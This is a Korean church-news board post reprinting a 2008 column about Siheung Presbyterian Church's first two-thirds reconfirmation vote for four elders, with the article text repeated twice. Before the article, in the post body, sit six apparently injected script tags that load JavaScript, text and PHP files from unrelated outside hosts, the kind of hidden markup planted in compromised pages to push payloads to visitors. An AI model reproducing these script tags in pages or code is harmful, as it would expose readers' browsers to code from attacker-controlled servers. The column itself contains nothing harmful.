칼럼 [고상환 칼럼] 시흥교회, 6년 임기 장로 재신임 투표실시[뉴조11/26]
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작성자 by 관리자 / 작성일08-12-26 10:46 / 조회 4,559 / 댓글 0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 시흥교회, 7년 전 시련 딛고 민주적 교회 ‘우뚝’
6년 임기 장로 재신임 투표 실시...내년 담임목사 신임투표도 주목
2008년 11월 26일 (수) 뉴스앤조이
고상환 교회개혁실천연대 집행위원장
104년의 유서 깊은 역사를 자랑하는 교회가 7년 전 발생한 교회 분란을 슬기롭게 극복하고, 민주적인 교회 운영 규약을 제정한 이후 처음으로 장로 신임 투표를 실시해 주목받고 있다.
대한예수교장로회(통합) 소속 시흥교회(방수성 목사 · 서울 금천구 시흥동)는 1904년 언더우드 선교사가 설립한 이후 1세기 동안 굳건하게 복음을 증거하고 있는 시흥 지역을 대표하는 교회.
이 교회는 2001년 한 때 담임목사의 부적절한 처신으로 약 2년 동안 심한 혼란을 겪었으나, 교인 대부분이 흔들림 없이 사태 수습에 나서 교회가 건강성을 유지하고 민주적으로 운영될 수 있는 기틀을 다지는데 성공했다.
지난 11월 23일 주일에 실시된 장로 연임투표는 2002년 말 제정된 장로 임기제가 포함된 교회 규약을 제정한 이후 처음으로 실시한 것으로, 현 장로 중 6년 임기를 마감하는 김남권·이필재·김석진·평석구 등 장로 4인을 대상으로 실시했다.
장로 연임은 투표자 3분의 2의 찬성을 얻어야 하는 어려운 관문. 그러나 4명 모두 투표에 참가한 교인 1041명 중 3분의 2에 해당하는 694명 이상의 지지를 획득해 연임이 확정되는 기쁨을 누렸다.
시흥교회는 장로 연임투표를 준비하면서 지난 4월부터 각 남녀선교회 대표 등 32명으로 구성된 준비위원회를 구성, 여러 차례의 모임과 세미나 등을 통해 연임 투표와 관련된 규정을 손질하는 등 세부적인 준비에 만전을 기했다.
교회 개혁을 모토로 창립된 교회를 제외하고 장로 연임 혹은 신임 투표를 실시하는 사례가 드문 한국교회 현실에서 시흥교회와 같은 전통 깊은 교회에서 장로 신임 투표를 정착시킨 사례는 민주적 교회 운영에 있어서 매우 성공적인 사례로 평가될 것으로 전망된다.
특히 교인 과반수가 아닌 3분의 2의 찬성을 얻어야 하는 어려운 관문을 설정한 것은 장로교회로서 장로직분의 중요성을 깊게 인식한 조치로 받아들여지고 있다. 선거관리위원장 김진웅 장로는 “이번 투표를 계기로 시흥교회가 한 단계 성장하였으며 교인들의 의식 또한 발전하는 계기가 되었다”고 말하고 “앞으로도 한국 교회를 선도할 교회가 되도록 노력하겠다”고 밝혔다.
한편 시흥교회는 이번 장로 연임 투표에 이어 현 방수성 담임목사에 대한 연임 여부를 묻는 투표도 내년에 실시할 예정으로 있어, 교계의 비상한 관심을 모을 것으로 전망된다.
6년 임기 장로 재신임 투표 실시...내년 담임목사 신임투표도 주목
2008년 11월 26일 (수) 뉴스앤조이
고상환 교회개혁실천연대 집행위원장
104년의 유서 깊은 역사를 자랑하는 교회가 7년 전 발생한 교회 분란을 슬기롭게 극복하고, 민주적인 교회 운영 규약을 제정한 이후 처음으로 장로 신임 투표를 실시해 주목받고 있다.
대한예수교장로회(통합) 소속 시흥교회(방수성 목사 · 서울 금천구 시흥동)는 1904년 언더우드 선교사가 설립한 이후 1세기 동안 굳건하게 복음을 증거하고 있는 시흥 지역을 대표하는 교회.
이 교회는 2001년 한 때 담임목사의 부적절한 처신으로 약 2년 동안 심한 혼란을 겪었으나, 교인 대부분이 흔들림 없이 사태 수습에 나서 교회가 건강성을 유지하고 민주적으로 운영될 수 있는 기틀을 다지는데 성공했다.
지난 11월 23일 주일에 실시된 장로 연임투표는 2002년 말 제정된 장로 임기제가 포함된 교회 규약을 제정한 이후 처음으로 실시한 것으로, 현 장로 중 6년 임기를 마감하는 김남권·이필재·김석진·평석구 등 장로 4인을 대상으로 실시했다.
장로 연임은 투표자 3분의 2의 찬성을 얻어야 하는 어려운 관문. 그러나 4명 모두 투표에 참가한 교인 1041명 중 3분의 2에 해당하는 694명 이상의 지지를 획득해 연임이 확정되는 기쁨을 누렸다.
시흥교회는 장로 연임투표를 준비하면서 지난 4월부터 각 남녀선교회 대표 등 32명으로 구성된 준비위원회를 구성, 여러 차례의 모임과 세미나 등을 통해 연임 투표와 관련된 규정을 손질하는 등 세부적인 준비에 만전을 기했다.
교회 개혁을 모토로 창립된 교회를 제외하고 장로 연임 혹은 신임 투표를 실시하는 사례가 드문 한국교회 현실에서 시흥교회와 같은 전통 깊은 교회에서 장로 신임 투표를 정착시킨 사례는 민주적 교회 운영에 있어서 매우 성공적인 사례로 평가될 것으로 전망된다.
특히 교인 과반수가 아닌 3분의 2의 찬성을 얻어야 하는 어려운 관문을 설정한 것은 장로교회로서 장로직분의 중요성을 깊게 인식한 조치로 받아들여지고 있다. 선거관리위원장 김진웅 장로는 “이번 투표를 계기로 시흥교회가 한 단계 성장하였으며 교인들의 의식 또한 발전하는 계기가 되었다”고 말하고 “앞으로도 한국 교회를 선도할 교회가 되도록 노력하겠다”고 밝혔다.
한편 시흥교회는 이번 장로 연임 투표에 이어 현 방수성 담임목사에 대한 연임 여부를 묻는 투표도 내년에 실시할 예정으로 있어, 교계의 비상한 관심을 모을 것으로 전망된다.